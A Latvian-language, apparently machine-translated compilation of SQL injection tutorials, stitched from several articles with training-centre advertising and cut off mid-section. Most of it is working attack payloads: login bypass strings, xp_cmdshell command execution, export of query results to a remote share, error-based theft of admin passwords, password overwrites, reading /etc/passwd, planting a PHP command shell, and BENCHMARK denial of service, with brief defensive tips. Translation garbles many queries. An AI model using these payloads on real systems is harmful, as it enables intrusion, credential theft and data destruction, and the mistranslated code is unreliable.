Kas ir SQL injekcija. Kas ir SQL injekcija

Šajā rakstā nav nevienas jaunas patiesības, SQL injekcija ir plaši aprakstīta un izmantota visur. Raksts vairāk paredzēts iesācējiem, bet varbūt profesionāļiem izdosies atrast vienu vai divus jaunus trikus.

Šis raksts ir paredzēts, lai palīdzētu iesācējiem tikt galā ar problēmām, ar kurām viņi var saskarties, izmantojot SQL injection paņēmienu, veiksmīgi izmantot to un spēt pasargāt sevi no šādiem uzbrukumiem.

Ievads

Ja interesējošajam serverim ir atvērts tikai 80. ports un ievainojamības skeneris nevar ziņot par kaut ko interesantu, un jūs zināt, ka sistēmas administrators vienmēr ļoti ātri instalē visus ielāpus tīmekļa serverī, mūsu pēdējā iespēja ir tīmekļa uzlaušana. SQL injekcija ir viens no tīmekļa uzlaušanas veidiem, kas izmanto tikai 80. portu un var darboties pat tad, ja ielāpi ir instalēti savlaicīgi. Šis uzbrukums ir vairāk vērsts uz tīmekļa lietojumprogrammām (piemēram, ASP, JSP, PHP, CGI utt.), nevis tieši uz tīmekļa serveri vai pakalpojumiem OS.

Šajā rakstā nav nevienas jaunas patiesības, SQL injekcija ir plaši aprakstīta un izmantota visur. Raksts vairāk paredzēts iesācējiem, bet varbūt profesionāļiem izdosies atrast vienu vai divus jaunus trikus. Iesaku arī apskatīt saites raksta beigās, lai iegūtu sīkāku informāciju no jomas ekspertiem.

1.1. Kas ir SQL injekcija?

SQL ievadīšana ir metode, kas paredzēta SQL vaicājumu/komandu ievadīšanai tīmekļa lapās. Daudzas tīmekļa lapas izmanto parametrus, kas tiek parādīti tīmekļa lietotājiem, un veic SQL vaicājumu datu bāzei. Ņemsim, piemēram, lietotāja pieteikšanās gadījumu, kad ir tīmekļa lapa ar vārdu un paroli un datu bāzē tiek veikts SQL vaicājums, lai pārbaudītu, vai ir reģistrēts lietotājs ar šādu vārdu un paroli. Izmantojot SQL injekciju, ir iespējams nosūtīt izdomātu lietotājvārda un/vai paroles lauku, kas modificē SQL vaicājumu, kas var sniegt mums dažas interesantas lietas.

2.0 Kas mums būtu jāmeklē

Mēģiniet atrast lapas, kurās tiek prasīti dati, piemēram, meklēšanas lapu, diskusiju lapu utt. Dažreiz html lapas izmanto POST metodi, lai nosūtītu komandas uz citu tīmekļa lapu. Šajā gadījumā jūs neredzēsit parametrus URL. Tomēr šajā gadījumā jūs varat meklēt tagu "FORM" lapu HTML avota kodā. Jūs atradīsiet kaut ko līdzīgu šim:



Visi parametri starp

Un
varētu būt neaizsargāti pret SQL injekciju.

2.1. Ko darīt, ja neatrodat lapu, kurā tiek izmantota ievade?

Meklējiet tādas lapas kā ASP, JSP, CGI vai PHP Web lapas. Mēģiniet atrast lapas, kurās tiek izmantoti tādi parametri kā:

3.0. Kā es varu pārbaudīt, vai tas, ko esmu atradis, ir neaizsargāts?

Mēģiniet sākt ar vienu citātu. Ievadiet šādu rindu:

sveiki" vai 1=1--

lietotājvārda vai paroles laukā vai pat URL parametrā. Piemērs:

Pieteikšanās: sveiks" vai 1=1--
Ieskaitīts: sveiks" vai 1=1--
http://duck/index.asp?id=hi" vai 1=1--

Ja to izdarījāt ar slēptu lauku, vienkārši lejupielādējiet sākotnējo HTML, saglabājiet to cietajā diskā, attiecīgi mainiet URL un slēpto lauku. Piemērs:



Ja veiksme būs jūsu pusē, jūs varēsiet pieteikties bez lietotājvārda vai paroles.

3.1 Bet kāpēc " vai 1=1--?

Apskatīsim vēl vienu piemēru, kas izskaidro konstrukcijas " vai 1=1-- lietderību. Papildus reģistrācijas apiešanai mēs varam apskatīt arī papildu informāciju, kas parasti nav pieejama. Apsveriet asp lapu, kas novirza uz citu lapu ar šādu URL:

http://duck/index.asp?category=food

Vietrādī URL "category" ir mainīgā nosaukums, bet "food" ir šim mainīgajam piešķirtā vērtība. Lai to izdarītu, asp lapā var būt šāds kods:

v_cat = pieprasījums("kategorija")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

Kā redzat, mūsu mainīgais tiks apvienots ar v_cat, un tādējādi SQL vaicājumam vajadzētu kļūt par:

SELECT * FROM product WHERE PCategory="food"

Šim vaicājumam ir jāatgriež kopa, kurā ir viena vai vairākas rindas, kas atbilst WHERE klauzulai, šajā gadījumā "pārtika". Tagad mainīsim URL šādi:

http://duck/index.asp?category=food" vai 1=1--
SELECT * FROM product WHERE PCategory="food" vai 1=1--'

Šis vaicājums atgriezīs visas rindas produktu tabulā neatkarīgi no tā, vai Pkategorija ir "pārtika" vai nē. Dubultā domuzīme "-" liek MS SQL Server ignorēt pārējo vaicājumu, kas seko vienpēdiņai ("). Dažreiz dubulto domuzīmi varat aizstāt ar asu "#".

Tomēr, ja izmantojat serveri, kas nav SQL, vai nevarat ignorēt pārējo vaicājumu, mēģiniet:

" vai "a"="a

Tagad SQL vaicājums kļūs par:

SELECT * FROM product WHERE PCategory="food" vai "a"="a"

Šis vaicājums atgriezīs to pašu rezultātu.

Atkarībā no faktiskā SQL vaicājuma, iespējams, būs jāizmēģina dažas no šīm iespējām:

"vai 1=1--
"vai 1=1--
vai 1=1--
" vai "a"="a
" vai "a"="a
") vai ("a"="a

4.0 Kā es varu izpildīt komandas attālināti, izmantojot SQL injekciju?

Iespēja ievadīt SQL komandu parasti nozīmē, ka mēs varam izpildīt SQL vaicājumus pēc vēlēšanās. MS SQL Server noklusējuma instalācija darbojas ar sistēmas tiesībām. Mēs varam izsaukt iebūvētās procedūras, piemēram, master..xp_cmdshell, lai attālināti izpildītu patvaļīgas komandas:

"; exec master..xp_cmdshell "ping 10.10.1.2" —

Mēģiniet izmantot dubultās pēdiņas ("), ja (") nedarbojas.

Semikols beigs pašreizējo SQL vaicājumu un ļaus palaist jaunas SQL komandas. Lai pārbaudītu, vai komanda bija veiksmīga, varat pārbaudīt ICMP paketes 10.10.1.2, lai redzētu, vai tajās nav paketes no ievainojamā servera:

http://site/?ID=31610

Ja nesaņemat nevienu ping pieprasījumu no servera un saņemat kļūdas ziņojumu, kas norāda uz atļaujas kļūdu, iespējams, administrators ir ierobežojis tīmekļa lietotāja piekļuvi saglabātajām procedūrām.

5.0 Kā iegūt SQL vaicājuma rezultātus?

Varat izmantot sp_makewebtask, lai rakstītu pieprasījumu HTML formātā:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * NO INFORMATION_SHEMA.TABLES"

Norādītajā IP ir jābūt mapei "share" ar piekļuvi visiem.

6.0 Kā izgūt datus no datu bāzes, izmantojot ODBC kļūdu ziņojumus?

Mēs varam izmantot informāciju no SQL servera izveidotā kļūdas ziņojuma, lai izgūtu visus datus. Piemēram, apsveriet šo lapu:

http://duck/index.asp?id=10

Tagad mēs mēģināsim savienot veselu skaitli '10' ar citu datu bāzes rindu:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME NO INFORMATION_SCHEMA.TABLES--

Sistēmas tabulā INFORMATION_SCHEMA.TABLES ir informācija no visām servera tabulām.

Laukā TABLE_NAME acīmredzami ir katras datubāzes tabulas nosaukums. Tas tika izvēlēts, jo mēs zinām, ka tas vienmēr pastāv. Mūsu pieprasījums:

ATLASĪT TOP 1 TABLE_NAME NO INFORMATION_SCHEMA.TABLES--

Šis vaicājums atgriezīs pirmo vārdu datu bāzē. Kad mēs SAVIENOSIM šo virknes vērtību uz veselu skaitli 10, MS SQL Server mēģinās pārvērst nvarchar virkni par veselu skaitli. Tas radīs kļūdu, sakot, ka nevar pārvērst nvarchar par int. Serveris parādīs šādu kļūdu:


Sintakses kļūda, konvertējot nvarchar vērtību "table1" to a column of data type int. !}
/index.asp, 5. rindiņa

Kļūdas ziņojums satur informāciju par vērtību, ko nevar pārvērst veselā skaitlī. Šajā gadījumā mēs ieguvām pirmās tabulas nosaukumu - "tabula1".

Lai iegūtu nākamās tabulas nosaukumu, mēs varam izmantot šādu vaicājumu:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME NO INFORMATION_SCHEMA.TABLES, KUROS TABLE_NAME NAV ("tabula1")--

Mēs varam arī meklēt datus, izmantojot taustiņu LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME NO INFORMATION_SCHEMA.TABLES, KUR TABLE_NAME PATĪK "%25login%25"--

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07" Sintakses kļūda, konvertējot nvarchar vērtību "admin_login" to a column of data type int. !} /index.asp, 5. rindiņa

Atbilstošā konstrukcija "%25login%25" SQL serverī tiks aizstāta ar %login%. Šajā gadījumā mēs iegūsim tās tabulas nosaukumu, kas atbilst kritērijam "admin_login".

6.1. Kā es varu uzzināt visus tabulas kolonnu nosaukumus?

Mēs varam izmantot tabulu INFORMATION_SCHEMA.COLUMNS, lai parādītu visus tabulas kolonnu nosaukumus:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME NO INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07"
Sintakses kļūda, konvertējot nvarchar vērtību "login_id" to a column of data type int. !}
/index.asp, 5. rindiņa

Tagad, kad mēs zinām pirmās kolonnas nosaukumu, mēs varam izmantot NOT IN (), lai iegūtu nākamās kolonnas nosaukumu:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME NO INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NAV ("login_id")-

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07"
Sintakses kļūda, konvertējot nvarchar vērtību "login_name" to a column of data type int. !}
/index.asp, 5. rindiņa

Turpinot iegūsim pārējos kolonnu nosaukumus t.i. "parole", "detaļas", līdz tiek parādīta šāda kļūda.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME NO INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id", "login_name","password",details)--

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e14"
ORDER BY vienumiem ir jāparādās atlases sarakstā, ja priekšraksts satur UNION operatoru.
/index.asp, 5. rindiņa

6.2. Kā mēs iegūstam nepieciešamos datus?

Tagad, kad esam identificējuši dažas svarīgas tabulas, mēs varam izmantot to pašu paņēmienu, lai izgūtu informāciju no datu bāzes.

Iegūsim pirmo login_name no tabulas "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name NO admin_login--

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07"
Sintakses kļūda, konvertējot nvarchar vērtību "neo" to a column of data type int. !}
/index.asp, 5. rindiņa

Tagad mēs zinām, ka ir administrators ar pieteikšanās vārdu "neo". Beidzot mēs varam iegūt paroli "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 parole NO admin_login kur login_name="neo"--

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07"
Sintakses kļūda, konvertējot nvarchar vērtību "m4trix" to a column of data type int. !}
/index.asp, 5. rindiņa

Tagad mēs varēsim pieteikties kā "neo" ar paroli "m4trix".

6.3. Kā iegūt virknes skaitlisko vērtību?

Iepriekš aprakstītajai metodei ir ierobežojumi. Mēs nevarēsim saņemt kļūdas ziņojumu, ja mēģināsim pārvērst tekstu, kas sastāv no skaitļa (tikai rakstzīmes no 0...9). Tagad mēs aprakstīsim paroles "31173" iegūšanu no lietotāja "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 parole NO admin_login kur login_name="trinity"--

Iespējams, tiks parādīta kļūda “Lapa nav atrasta”. Iemesls ir tāds, ka parole "31173" tiks pārveidota par skaitli, pirms SAVIENĪBA ar veselu skaitli (mūsu gadījumā 10). Tā kā UNION izteiksme ir pareiza, SQL serveris neģenerēs kļūdas ziņojumu, un tādējādi mēs nevarēsim iegūt ciparu ierakstu.

Lai atrisinātu šo problēmu, mēs varam pievienot ciparu virkni beigās ar dažiem burtiem, lai novērstu konvertēšanu. Pārveidots pieprasījums:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") NO admin_login kur login_name="trinity"--

Mēs vienkārši izmantojam plus zīmi (+), lai pievienotu paroli ar jebkuru tekstu (ASSCII kodējums "+" = 0x2b). Pēc tam faktiskās paroles beigās pievienosim "%20morpheus". Tātad, pat ja paroles vērtība ir "31173", tā kļūs par "31173 morpheus". Manuāli izsaucot funkciju convert(), mēģinot pārvērst "31173 morpheus" par veselu skaitli, SQL Server parādīs ODBC kļūdas ziņojumu:

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07"
Sintakses kļūda, konvertējot nvarchar vērtību "31173 morpheus" to a column of data type int. !}
/index.asp, 5. rindiņa

Tagad mēs varēsim pieteikties kā "trīsvienība" ar paroli "31173".

7.0 Kā modificēt/ievietot datus datu bāzē?

Kad esam ieguvuši katras personas vārdus pa kolonnām tabulā, mēs varam atjaunināt (UPDATE) vai pat ievietot (INSERT) jaunu ierakstu tabulā. Piemēram, mēs varam mainīt paroli "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Lai datubāzē IEVIETOT jaunu ierakstu:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Tagad mēs varēsim pieteikties kā "neo" ar paroli "newpas5".

8.0 Kā izvairīties no SQL injekcijas?

Filtrēt speciālās rakstzīmes visās rindās:

Jebkuri lietotāja ievadītie dati
- URL parametri
- Cepums

Skaitliskās vērtības pārveidojiet par veseliem skaitļiem, pirms tās nododat SQL vaicājumam. Vai arī izmantojiet ISNUMERIC, lai pārliecinātos, ka tas ir vesels skaitlis.

Palaidiet SQL Server kā nepievilcīgu lietotāju.

Noņemiet neizmantotās saglabātās procedūras: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

SQL injekcija ir ievainojamība, kas rodas, ja skriptā vai programmā no lietotāja saņemtās vērtības nav pietiekami pārbaudītas. Es apskatīšu injekcijas MySQL datu bāzē. Šī datubāze ir viena no visizplatītākajām. Ja nav norādīts citādi, tiek uzskatīts, ka mysql injekcija ir iespējama php skriptā.
(5140 skatījumi 1 nedēļā

Fēnikss

vietne kopā ar Informzashita mācību centru un tiešsaistes programmatūras veikalu Softkey.ru rīko konkursu par labāko rakstu par informācijas drošības tēmu.

SQL injekcija ir ievainojamība, kas rodas, ja skriptā vai programmā no lietotāja saņemtās vērtības nav pietiekami pārbaudītas. Es apskatīšu injekcijas MySQL datu bāzē. Šī datubāze ir viena no visizplatītākajām. Ja nav norādīts citādi, tiek uzskatīts, ka mysql injekcija ir iespējama php skriptā.

SQL injekcijas klātbūtnes noteikšana.

Bieži vien par SQL injekcijas esamību var norādīt kļūdas, kas skaidri norāda, ka SQL vaicājumā ir radusies kļūda. Tajā pašā laikā kļūdas esamību SQL vaicājumā var novērtēt arī pēc netiešām pazīmēm.

Lai pārbaudītu, vai noteikts parametrs ir pilnībā filtrēts, mēs nododam nedaudz pārveidotas šī parametra vērtības. Piemēram, http://site/test.php?id=12 vietā mēs pārraidām.

http://site/test.php?id=12"

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Ja pēdējais pieprasījums rada lapu, kas ir līdzīga http://site/test.php?id=12, vairumā gadījumu tas var skaidri norādīt uz SQL injekcijas esamību nefiltrētā veselā skaitļa parametrā.

Datu bāzes analīze, izmantojot MySQL injekciju.

Tātad, pieņemsim, ka mēs zinām par nepietiekamu ID parametra filtrēšanu skriptā http://site/test.php?id=12

Detalizētu kļūdu ziņojumu klātbūtne ar SQL vaicājuma tekstu, kurā radās kļūda, līdz minimumam samazinās SQL injekcijas izmantošanas grūtības. Tomēr daudz var izdarīt pat tad, ja netiek parādīti nekādi kļūdu ziņojumi.

Lūdzu, ņemiet vērā, ka pat tad, ja kļūdas teksts netiek parādīts, jūs joprojām varat skaidri noteikt, vai ir radusies kļūda (piemēram, vaicājums atgrieza tukšu rezultātu).

Jo īpaši ir iespējams, ka kļūdas gadījumā tiek atgriezts atbildes kods 500 vai novirzīšana uz galveno lapu, savukārt, ja pieprasījuma rezultāts ir tukšs, tiks atgriezta tukša lapa.

Lai identificētu šīs nenozīmīgās pazīmes, jums ir jāraksta http vaicājumi, par kuriem jūs zināt, ka tie novedīs pie pareiza (bet atgriežot tukšu izvadi) SQL vaicājumu un kas novedīs pie nepareiza SQL vaicājuma. Piemēram, ja id parametrs nav filtrēts

http://site/test.php?id=99999, iespējams, atgriezīs tukšu sql vaicājumu, kamēr

http://site/test.php?id=99999" vajadzētu radīt kļūdu.

Tagad, zinot, kā atšķirt kļūdainu pieprasījumu no tukša, mēs sākam konsekventi iegūt informāciju par pieprasījumu un datu bāzi.

Apskatīsim gadījumu, kad injekcija notiek pēc kur. Ja mēs domājam par MySQL datu bāzi, tad informācijas izgūšana no datu bāzes ir iespējama tikai tad, ja serverim ir versija 4.*, tad vaicājumā ir iespējams ievietot savienību

1) lauku skaits starp atlasi un vietu

Mēs cenšamies secīgi, līdz saņemam pareizo pieprasījumu:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

Turklāt, ja nav iespējams atdalīt nederīgu pieprasījumu no tā, kas atgrieza tukšu rezultātu, varat rīkoties šādi:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Lai to izdarītu, mums pietiek ar to, ka varam atdalīt pareizo vaicājumu no nepareizā, un tas vienmēr ir iespējams, ja ir SQL injekcijas fakts.

Kad mēs saņemsim pareizo vaicājumu, nulles skaits būs vienāds ar lauku skaitu starp atlasi un kur

2) kolonnas numurs ar izvadi. Mums būs jāzina, kurā kolonnā notiek lapas izvade.

Tajā pašā laikā, ja lapā ir attēloti vairāki parametri, tad labāk ir atrast to, kuram šķiet vislielākais datu tipa izmērs (vislabāk teksts), piemēram, preces apraksts, raksta teksts utt. Mēs viņu meklējam:

http://site/test.php?id=9999+union+select+"test",null,null/*

http://site/test.php?id=9999+union+select+null,"test",null/*

Un līdz brīdim, kad mēs redzam vārdu testu mums vajadzīgajā vietā.

Lūdzu, ņemiet vērā, ka šajā gadījumā viens no šiem vaicājumiem noteikti atgriezīs vērtību, kas nav tukša.

Šeit jūs varat saskarties ar kļūmi: skriptā var būt pārbaude, lai redzētu, vai kāds no parametriem ir tukšs (piemēram, id), šeit jums būs jāizmanto MySQL rekvizīts, var tikt nodots skaitlisks veids jebkura veida datu, neizraisot kļūdu, un tādā veidā, lai tas saglabātu savu nozīmi.

http://site/test.php?id=9999+union+select+1,2,3/*

Tas pats triks darbosies arī tad, ja pēdiņas tiek izmantotas.

Sākuma komentārs tiek pievienots, lai atmestu pārējo pieprasījumu, ja tāds ir. MySQL parasti reaģē uz neaizvērtiem komentāriem.

3) tabulu nosaukumi

Tagad varat atkārtot tabulu nosaukumus.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Derīgie vaicājumi atbildīs esošajiem tabulu nosaukumiem. Droši vien būs interesanti pārbaudīt lietotāju, paroļu, reguseru utt. utt. tabulu esamību.

4)sistēmas informācija

Mums jau ir pietiekami daudz informācijas, lai iesniegtu šādu pieprasījumu.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

Ja jums ir tiesības izvēlēties no mysql datu bāzes, šis vaicājums atgriezīs paroles jaucējkodu, ko vairumā gadījumu var viegli atšifrēt. Ja tiek parādīta tikai viena pieprasījuma rindiņa (piemēram, raksta pamatteksta vietā), varat pārvietoties pa rindiņām

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0.1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Turklāt jūs varat uzzināt daudz interesantu lietu:

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) kolonnu nosaukumi tabulā

Tie ir līdzīgi, varat kārtot: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* un tā tālāk.

teksta faili, izmantojot MySQL injekciju.

Ja lietotājam, ar kuru piekļūst datu bāzei, ir tiesības uz failu_privitāti, varat iegūt patvaļīga faila tekstu

http://site/test.php?id=9999+union+select+null,LOAD_FILE("/etc/passwd"),null/*

failu rakstīšana tīmekļa direktorijā (php apvalks).

Kā liecina prakse, ja mums ir tiesības uz failu_privitāti, direktoriju, ko var ierakstīt visi lietotāji, kas ir pieejams arī no tīmekļa (dažreiz augšupielādes, baneri utt. direktoriji), un mēs zinām arī vismaz vienas tabulas nosaukumu (mysql.user, piemēram, tas darbosies, ja jums ir piekļuve mysql datu bāzei), varat augšupielādēt patvaļīgu failu serverī, izmantojot šāda veida injekciju.

http://site/test.php?id=9999+union+select+null,"+system($cmd)+?
>",null+from+table1+into+outfile+"/usr/local/site/www/banners/cmd.php"/*

Šajā gadījumā ir nepieciešama konstrukcija no tabulas1.

Ja papildus vietnei ir ievainojamība, kas ļauj izpildīt patvaļīgus failus serverī (include("/path/$file.php")), tad jebkurā gadījumā varat augšupielādēt php čaulu, piemēram, , uz direktoriju /tmp/ un pēc tam paņemiet šo failu no turienes, izmantojot ievainojamību iekļautajā.

injekcija pēcierobežojums.

Diezgan bieži SQL injekcijas iespēja rodas limitam nodotā ​​parametra ietvaros. Tas varētu būt lapas numurs utt., utt.

Prakse rāda, ka šajā gadījumā var piemērot visu iepriekš minēto.

MySQL pareizi atbild uz tādiem vaicājumiem kā:

Atlasīt… ierobežojums 1,2 savienības atlase….

Atlasīt… ierobežojums 1 savienība atlasīt….

Ja vēlaties, lai pirmais apakšvaicājums atgrieztu tukšu rezultātu, jums ir mākslīgi jāiestata lielas nobīdes pirmajam vaicājumam:

Atlasīt... ierobežojums 99999.1 savienība atlasīt.... Vai arī Atlasīt... ierobežojums 1,0 savienība atlasīt....

dažas nepilnības.

Visbiežāk sastopamā kļūme var būt maģisko citātu iekļaušana php konfigurācijā. Virkņu parametru gadījumā tas parasti ļaus izvairīties no SQL injekcijas iespējas, savukārt veselu skaitļu (daļskaitļu) parametru gadījumā šādos vaicājumos nebūs iespējams izmantot pēdiņas un līdz ar to arī virknes.

Daļēji funkcija char palīdzēs mums atrisināt šo problēmu, kas atgriež virkni pēc rakstzīmju kodiem. Piemēram

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Vienīgais ierobežojums. Ja vēlaties ievadīt failu outfile, faila nosaukums ir jānodod pēdiņās kā faila nosaukums. outfile char(...) rada kļūdu.

2) Mod_security.

Šķiet, ka šis Apache tīmekļa servera modulis neļauj izmantot SQL injekcijas ievainojamību. Tomēr ar dažām PHP un šī moduļa konfigurācijām uzbrukumu var veikt pārskatāmi šim modulim.

Moduļa mod_security noklusējuma konfigurācija nefiltrē vērtības, kas nodotas kā sīkfaili. Tajā pašā laikā dažos gadījumos un arī dažās noklusējuma php konfigurācijās sīkfailu mainīgie tiek reģistrēti automātiski.

Tādējādi ļaunprātīgas mainīgās vērtības var tikt nodotas kā sīkfailu vērtības, kas ir pilnībā pārredzamas mod_security.

DOS uz MySQL injekcija.

Ja vaicājumā nav iespējams izmantot savienību, piemēram, MySQL ir versija 3.*, tad tomēr injekciju var izmantot, piemēram, lai piespiestu datu bāzes serveri izsmelt visus tā resursus.

Lai to izdarītu, izmantosim funkciju BENCHMARK, kas atkārto izteiksmes izteiksmes izpildi noteiktu skaitu reižu, kas norādīts skaitīšanas argumentā. Kā pamata izteiksmi pieņemsim funkciju, kas pati par sevi prasa zināmu laiku. Piemēram, md5(). Ņemsim par virkni pašreizējo_datums, lai virknē nebūtu pēdiņas. BENCHMARK funkcijas var būt ligzdotas viena otrai. Un tā, izveidosim pieprasījumu:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(pašreizējais_datums)))

Tiek izpildīti 1000000 md5 pieprasījumu (atkarībā no servera jaudas), aptuveni 5 sekundēs, 10000000 tiks izpildīti aptuveni 50 sekundēs. Ligzdotā etalona izpilde jebkurā serverī prasīs ļoti ilgu laiku. Tagad atliek tikai nosūtīt līdz pat vairākiem desmitiem līdzīgu http pieprasījumu sekundē, lai serveris nepārtraukti pārtrauktu darbību.

cita veida MySQL injekcijas.

Ar veselu skaitļu vērtību filtrēšanu veselu skaitļu parametriem un pēdiņām virknes parametriem dažreiz nepietiek. Dažreiz speciālo rakstzīmju % un _ izmantošana līdzīgā vaicājumā var izraisīt neparedzētu funkcionalitāti. Piemēram:

mysql_query("izvēlieties ID no lietotājiem, kur parole, piemēram, ".addslashes($password)."" un lietotājs, piemēram, ".addslashes($user).""");

šajā gadījumā parole % derēs jebkuram lietotājam

apache mod_rewrite

Dažos gadījumos SCL injekcija ir iespējama pat parametrā, kas tiek pārveidots ar Apache moduļa mod_rewrite metodēm par GET skripta parametru.

Piemēram, skripti, piemēram, /news/127.html, tiek pārveidoti par /news/news.php?id=127, izmantojot šādu noteikumu: RewriteRule ^/news/(.*)\.html$ "/news/news.php? id=$1"

Tas ļaus skriptam nodot ļaunprātīgas parametru vērtības. Tā, piemēram, /news/128-1.html

Ja tiek parādīti detalizēti kļūdu ziņojumi, jūs varat nekavējoties uzzināt čīkstēšanas adresi un pēc tam, izvēloties parametru, strādāt ar to. Ja nē, varat izmeklēt ievainojamību, tieši rediģējot faila nosaukumu.

Īsumā par aizsardzību.

Lai pasargātu sevi no visa iepriekš minētā, pietiek ievērot dažus vienkāršus noteikumus.

1) veseliem skaitļiem un daļskaitļiem, pirms to izmantošanas vaicājumā, pietiek ar vērtību konvertēšanu uz vēlamo veidu.

$id=(int)$id; $kopā=(pludināt)$kopā;

Tā vietā varat ievietot izsekošanas sistēmu SQL injekcijas testēšanai.

if((virkne)$id(virkne)(int)$id) (

//rakstiet žurnālam par mēģinājumu

2) virknes parametriem, kas netiek izmantoti like, regexp utt., mēs izvairāmies no pēdiņām.

$str=addslashes($str);

vai vēl labāk,

mysql_escape_string($str)

3) rindās, kuras paredzēts lietot iekšā like, regexp u.c., nepieciešamības gadījumā ir arī jāizvairās no šajos operatoros lietotajām speciālajām rakstzīmēm. Pretējā gadījumā varat dokumentēt šo simbolu lietošanu.

Mācību centrs "Informzashita" http://www.itsecurity.ru - vadošais specializētais centrs informācijas drošības apmācību jomā (Maskavas Izglītības komitejas licence Nr. 015470, Valsts akreditācijas Nr. 004251). Vienīgais autorizētais Internet Security Systems un Clearswift apmācību centrs Krievijā un NVS valstīs. Microsoft autorizēts mācību centrs (drošības specializācija). Mācību programmas tiek saskaņotas ar Krievijas Valsts tehnisko komisiju FSB (FAPSI). Apmācības sertifikāti un valsts dokumenti par kvalifikācijas paaugstināšanu.

SoftKey ir unikāls pakalpojums pircējiem, izstrādātājiem, izplatītājiem un saistītajiem partneriem. Turklāt šis ir viens no labākajiem tiešsaistes programmatūras veikaliem Krievijā, Ukrainā, Kazahstānā, kas piedāvā klientiem plašu produktu klāstu, daudzus norēķinu veidus, operatīvu (bieži vien tūlītēju) pasūtījuma apstrādi, pasūtījuma procesa izsekošanu personīgajā sadaļā, dažādas atlaides no veikala un ražotājiem BY.

Pirms runājam par to, kā aizsargāt vietni no sql injekcijām, vispirms ir jāsaprot, kas tas ir un kāpēc šāda veida uzbrukumi ir tik bīstami. Lielākā daļa mūsdienu vietņu jau dara visu, lai to lapās nebūtu vietas, caur kurām uzbrucējs varētu veikt šo uzbrukumu, taču dažreiz šādas problēmas rodas pat populāros resursos vai bieži izmantotajos dzinējos.

Šodien apskatīsim, kas ir sql injekcija, kā tā darbojas un kā ar to cīnīties, gan programmēšanas valodas līmenī, gan radot dažādus šķēršļus uzbrucējam, izmantojot tīmekļa serveri. Tas ir arī diezgan efektīvs.

Kā zināms, lielākā daļa interneta vietņu informācijas glabāšanai izmanto datu bāzi. Nav pārsteidzoši, ka datu bāzes vaicājumi tiek izpildīti, kamēr lapa tiek veidota. Un šķiet, ka nekā tāda nav, izņemot to, ka, veidojot pieprasījumu, var izmantot lietotāja ievadītos datus. Piemēram, veidojot komentāru, veicot meklēšanu vai pat pārejot uz citu lapu.

Un šeit ir iespēja ievadīt SQL. Ja lietotājs laukā ievada konkrētu vaicājumu, viņš varēs izveidot savu vaicājumu datu bāzei. Tas viņam ļaus darīt gandrīz jebko, nozagt jūsu datus, dzēst jūsu datu bāzi, piekļūt lietotāju parolēm, pievienot jaunus lietotājus un visu, ko viņš vēlas.

Piemēram, šādi izskatās raksta ID SQL vaicājums, veicot meklēšanu:

ATLASĪT ID, nosaukumu, saturu NO ziņām, KUR virsraksts PATĪK "%user_query%"

Tagad iedomājieties, ka lietotājs raksta atslēgvārdu vietā ievada šādu kombināciju:

1%"; NOMET TABULA ziņas PATĪK "%;

Un rezultāts būs pilnīgi funkcionāls pieprasījums, kuru jūs nemaz negaidījāt:

ATLASĪT ID, nosaukumu, saturu NO ziņām, KUR virsraksts PATĪK "% 1%"; NOMET TABULA ziņojumus PATĪK "%%"

Tas darbosies ar visiem pieprasījumiem, kuriem ir lietotāja ievade, ja vien programmētājs nav parūpējies par drošību. Tāpēc, lai atrisinātu šo problēmu, jums vienkārši jāizvairās no visiem citātiem lietotāja pieprasījumos. Tagad pāriesim pie aizsardzības metodēm.

Vietnes aizsardzība no sql injekcijām PHP līmenī

